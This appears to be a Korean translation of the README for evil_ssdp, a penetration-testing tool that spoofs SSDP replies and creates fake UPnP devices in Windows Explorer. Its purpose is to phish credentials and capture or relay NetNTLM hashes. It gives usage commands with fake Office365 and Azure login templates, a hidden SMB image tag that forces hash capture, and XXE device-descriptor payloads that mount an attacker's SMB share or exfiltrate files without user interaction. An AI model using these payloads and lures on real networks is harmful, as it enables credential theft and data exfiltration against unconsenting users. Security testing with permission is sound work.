
SSDP 응답을 스푸핑하고 가짜 UPnP 장치를 생성하여 자격 증명 및 NetNTLM 챌린지/응답을 피싱합니다.
이 도구는 SSDP 멀티캐스트 검색 요청에 응답하여 일반 UPNP 장치로 위장합니다. 스푸핑된 장치는 로컬 네트워크의 Windows 탐색기에 나타납니다. 장치를 열려는 사용자에게는 구성 가능한 피싱 페이지가 표시됩니다. 이 페이지는 SMB를 통해 숨겨진 이미지를 로드하여 NetNTLM 챌린지/응답을 캡처하거나 중계할 수 있습니다.
기본 인증 및 로그온 폼을 통해 일반 텍스트 자격 증명을 캡처하기 위한 템플릿도 제공되며, 사용자 정의 템플릿을 빠르고 쉽게 만들 수 있습니다.
이 도구는 실행하기 위해 기존 자격 증명이 필요하지 않으며, NETBIOS 및 LLMNR을 비활성화하여 Responder 공격으로부터 보호된 네트워크에서도 작동합니다. SSDP/UPNP를 사용하는 모든 운영 체제 또는 애플리케이션이 대상이 될 수 있지만, 현재 대부분의 무기화는 Windows 10을 대상으로 합니다.
보너스로, 이 도구는 SSDP/UPNP를 사용하는 애플리케이션의 XML 파싱 엔진에서 잠재적인 제로데이 취약점을 탐지하고 악용할 수 있습니다. 취약한 장치가 발견되면 UI에 경고를 표시한 후 XML 외부 엔터티(XXE) 공격을 통해 사용자 상호작용 없이 SMB 공유를 마운트하거나 데이터를 유출합니다.
가장 기본적인 실행은 다음과 같습니다:
evil_ssdp.py eth0
최소한 네트워크 인터페이스를 제공해야 합니다. 인터페이스는 UDP SSDP 상호작용과 XML 파일 및 피싱 페이지를 호스팅하는 웹 서버 모두에 사용됩니다.
도구는 제공한 인터페이스의 IP를 사용하여 피싱 페이지의 IMG 태그를 자동으로 업데이트합니다. 챌린지/응답을 사용하려면 해당 인터페이스에서 SMB 서버(예: Impacket)를 실행해야 합니다. 이 주소는 -s 옵션으로 사용자 지정할 수 있습니다.
몇 가지 예시 시나리오:
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb
전체 사용법:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
다음 템플릿이 도구와 함께 제공됩니다. 디자인 실력이 뛰어나다면 직접 기여해 주세요!
office365: Windows 탐색기에 'Office365 Backups'로 표시됩니다. Office365 로그인처럼 보이는 피싱 페이지가 자격 증명을 POST로 전송합니다. 이는 UI에 플래그가 표시되고 로그 파일에 기록됩니다. 자격 증명을 탈취한 후 사용자를 합법적인 사이트로 리디렉션하려면 '-u https://www.office.com' 옵션과 함께 실행하는 것이 좋습니다. 개발자: pentestgeek.scanner: Windows 탐색기에 'Corporate Scanner [3 NEW SCANS WAITING]'이라는 이름의 스캐너로 표시됩니다. 더블 클릭하면 일반적인 로그온 페이지로 이동합니다. 이 템플릿은 특정 대상에 맞게 사용자 정의하면 좋습니다. 템플릿은 대부분 이 템플릿에서 복사되었습니다.microsft-azure: Windows 탐색기에 'Microsoft Azure Storage'로 나타납니다. 방문 페이지는 쿠키가 비활성화된 경우의 Windows Live 로그인 페이지입니다. 사용자를 실제 로그인 페이지로 리디렉션하려면 -u 옵션과 함께 사용하는 것이 좋습니다. 개발자: Dwight Hohnstein.bitcoin: Windows 탐색기에 'Bitcoin Wallet'로 표시됩니다. 피싱 페이지는 무작위 비트코인 개인/공개/주소 정보 세트입니다. 이러한 계정에는 실제 자금이 없습니다.password-vault: Windows 탐색기에 'IT Password Vault'로 표시됩니다. 피싱 페이지에는 가짜 비밀번호 / SSH 키 등의 짧은 목록이 포함되어 있습니다.xxe-smb: Windows 탐색기에 나타나지 않을 가능성이 높습니다. XML 파서의 제로데이 취약점을 찾는 데 사용됩니다. 적중 시 UI에 'XXE - VULN' 경고를 트리거하고 클라이언트가 SMB 서버와 인증하도록 강제하며, 상호작용이 필요 없습니다.xxe-exfil: XXE 취약점을 검색하는 또 다른 예이지만, 이번에는 Windows 호스트에서 테스트 파일을 유출하려고 시도합니다. 물론 Windows 또는 Linux에서 원하는 특정 파일을 찾도록 사용자 정의할 수 있습니다. 제가 발견한 취약한 애플리케이션에서는 공백이나 줄바꿈이 없는 파일에서만 유출이 작동합니다. 이는 GET 요청의 URL에 주입되는 방식 때문입니다. 여러 줄 파일에서 이 기능을 작동시키면 방법을 꼭 알려주세요.자신만의 템플릿을 만드는 것은 쉽습니다. 기존 템플릿의 폴더를 복사하고 다음 파일을 편집하기만 하면 됩니다:
device.xml: 여기에서 장치가 Windows 탐색기 내에서 어떻게 보일지 정의합니다.present.html: 대상이 악성 장치를 열 때 표시되는 피싱 페이지입니다. 원하는 대로 자유롭게 제작하세요. Python의 string 템플릿이 이를 파싱하므로 템플릿 엔진을 이스케이프하려면 $ 대신 $$를 사용해야 합니다.service.xml: 아직 구현되지 않았습니다. 향후 더 복잡한 UPNP 스푸핑에 필요할 수 있습니다.피싱 페이지(present.html)에서 다음과 같은 변수를 사용하여 추가 기능을 활용할 수 있습니다:
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
도구는 현재 UPNP 'Basic' 장치 유형에 대해서만 장치를 올바르게 생성하지만, 모든 장치 유형에 대한 SSDP 쿼리에 응답합니다. UPNP를 잘 알고 있다면 다른 장치 유형에 대한 요청을 충족하는 올바른 매개변수로 새 템플릿을 만들 수 있습니다. 특정 애플리케이션과 그들이 UPNP 장치를 기대하고 활용하는 방식을 악용하는 데는 아직 탐구할 부분이 많습니다.
간단한 서비스 검색 프로토콜(SSDP)은 운영 체제(Windows, MacOS, Linux, IOS, Android 등)와 애플리케이션(Spotify, Youtube 등)이 로컬 네트워크에서 공유 장치를 검색하는 데 사용됩니다. 이는 유니버설 플러그 앤 플레이(UPNP) 장치를 검색하고 광고하는 기반입니다.
공유 네트워크 리소스를 검색하려는 장치는 포트 1900의 239.255.255.250으로 UDP 멀티캐스트를 전송합니다. 소스 포트는 무작위화됩니다. 예시 요청은 다음과 같습니다:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
이 호스트와 상호작용하려면 소스 포트와 'ST'(서비스 유형) 헤더를 모두 캡처해야 합니다. 응답은 올바른 소스 포트로 전송되어야 하며 올바른 ST 헤더를 포함해야 합니다. Windows OS만 장치를 찾는 것이 아닙니다. 일반적인 네트워크를 스캔하면 OS 내부 애플리케이션(예: Spotify), 휴대폰 및 기타 미디어 장치의 많은 요청이 표시됩니다. Windows는 올바른 ST로 응답할 때만 반응하며, 다른 소스는 더 관대합니다.
evil_ssdp는 요청된 ST를 추출하여 다음과 같은 응답을 보냅니다:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
헤더(특히 LOCATION, 01-NLS, ST, USN)는 동적으로 구성됩니다. 이는 요청자에게 장치에 대한 추가 정보를 찾을 위치를 알려줍니다. 여기서는 Windows(및 기타 요청자)가 'Device Descriptor' XML 파일에 접근하여 구문 분석하도록 강제합니다. USN은 단순한 임의 문자열이며, 고유하고 적절한 형식이면 됩니다.
evil_ssdp는 선택한 템플릿 폴더에서 'device.xml' 파일을 가져와 IP 주소와 같은 일부 변수를 동적으로 삽입합니다. 이 'Device Descriptor' 파일은 매력적으로 들리는 친근한 이름과 설명을 사용자 정의할 수 있는 곳입니다. 내용은 다음과 같습니다:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
이 파일의 핵심 줄에는 'Presentation URL'이 포함되어 있습니다. 사용자가 UPNP 장치를 수동으로 더블 클릭할 경우 브라우저에 로드되는 내용입니다. evil_ssdp는 이 파일을 자동으로 호스팅하며(선택한 템플릿 폴더의 present.html), IMG 태그에 소스 IP 주소를 삽입하여 Impacket, Responder 또는 Metasploit과 같은 도구로 호스팅할 수 있는 SMB 공유에 접근합니다.
IMG 태그는 다음과 같습니다:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
기본적으로 이 도구는 네트워크의 장치가 XML 파일을 구문 분석하도록 강제합니다. XML을 구문 분석하는 애플리케이션에 대한 잘 알려진 공격인 XML 외부 엔터티 처리(XXE)가 존재합니다.
UPNP 장치에 대한 이러한 유형의 공격은 공격 방법이 복잡하고 쉽게 드러나지 않기 때문에 간과되기 쉽습니다. 그러나 evil_ssdp는 네트워크에서 취약한 장치를 매우 쉽게 테스트할 수 있게 해줍니다. 도구를 실행하고 출력에서 큰 [XXE VULN!!!]을 찾기만 하면 됩니다. 참고: xxe 템플릿을 사용하면 LAN에 보이는 악성 장치가 생성되지 않을 가능성이 높으며, 이는 상호작용이 필요 없는 시나리오만을 위한 것입니다.
이는 다음 내용의 Device Descriptor XML 파일을 제공함으로써 수행됩니다:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
취약한 XML 파서가 이 파일을 읽으면 자동으로 SMB 공유를 마운트하고(해시 크래킹 또는 중계 가능) 발견되었음을 알리는 HTTP URL에 접근합니다. 알림에는 HTTP 헤더와 IP 주소가 포함되어 취약한 애플리케이션에 대한 정보를 제공합니다. 이를 발견하면 공급업체에 연락하여 문제를 해결하시기 바랍니다. 또한 도구를 사용하여 발견한 모든 제로데이에 대해 듣고 싶습니다. CVE에 이 도구를 언급해 주십시오.
또한 재미있는 안전하지 않은 것들을 많이 개발한 Microsoft에도 감사드립니다.
이것은 보안 연구 도구입니다. 네트워크 소유자의 명시적 허가를 받은 경우에만 사용하십시오.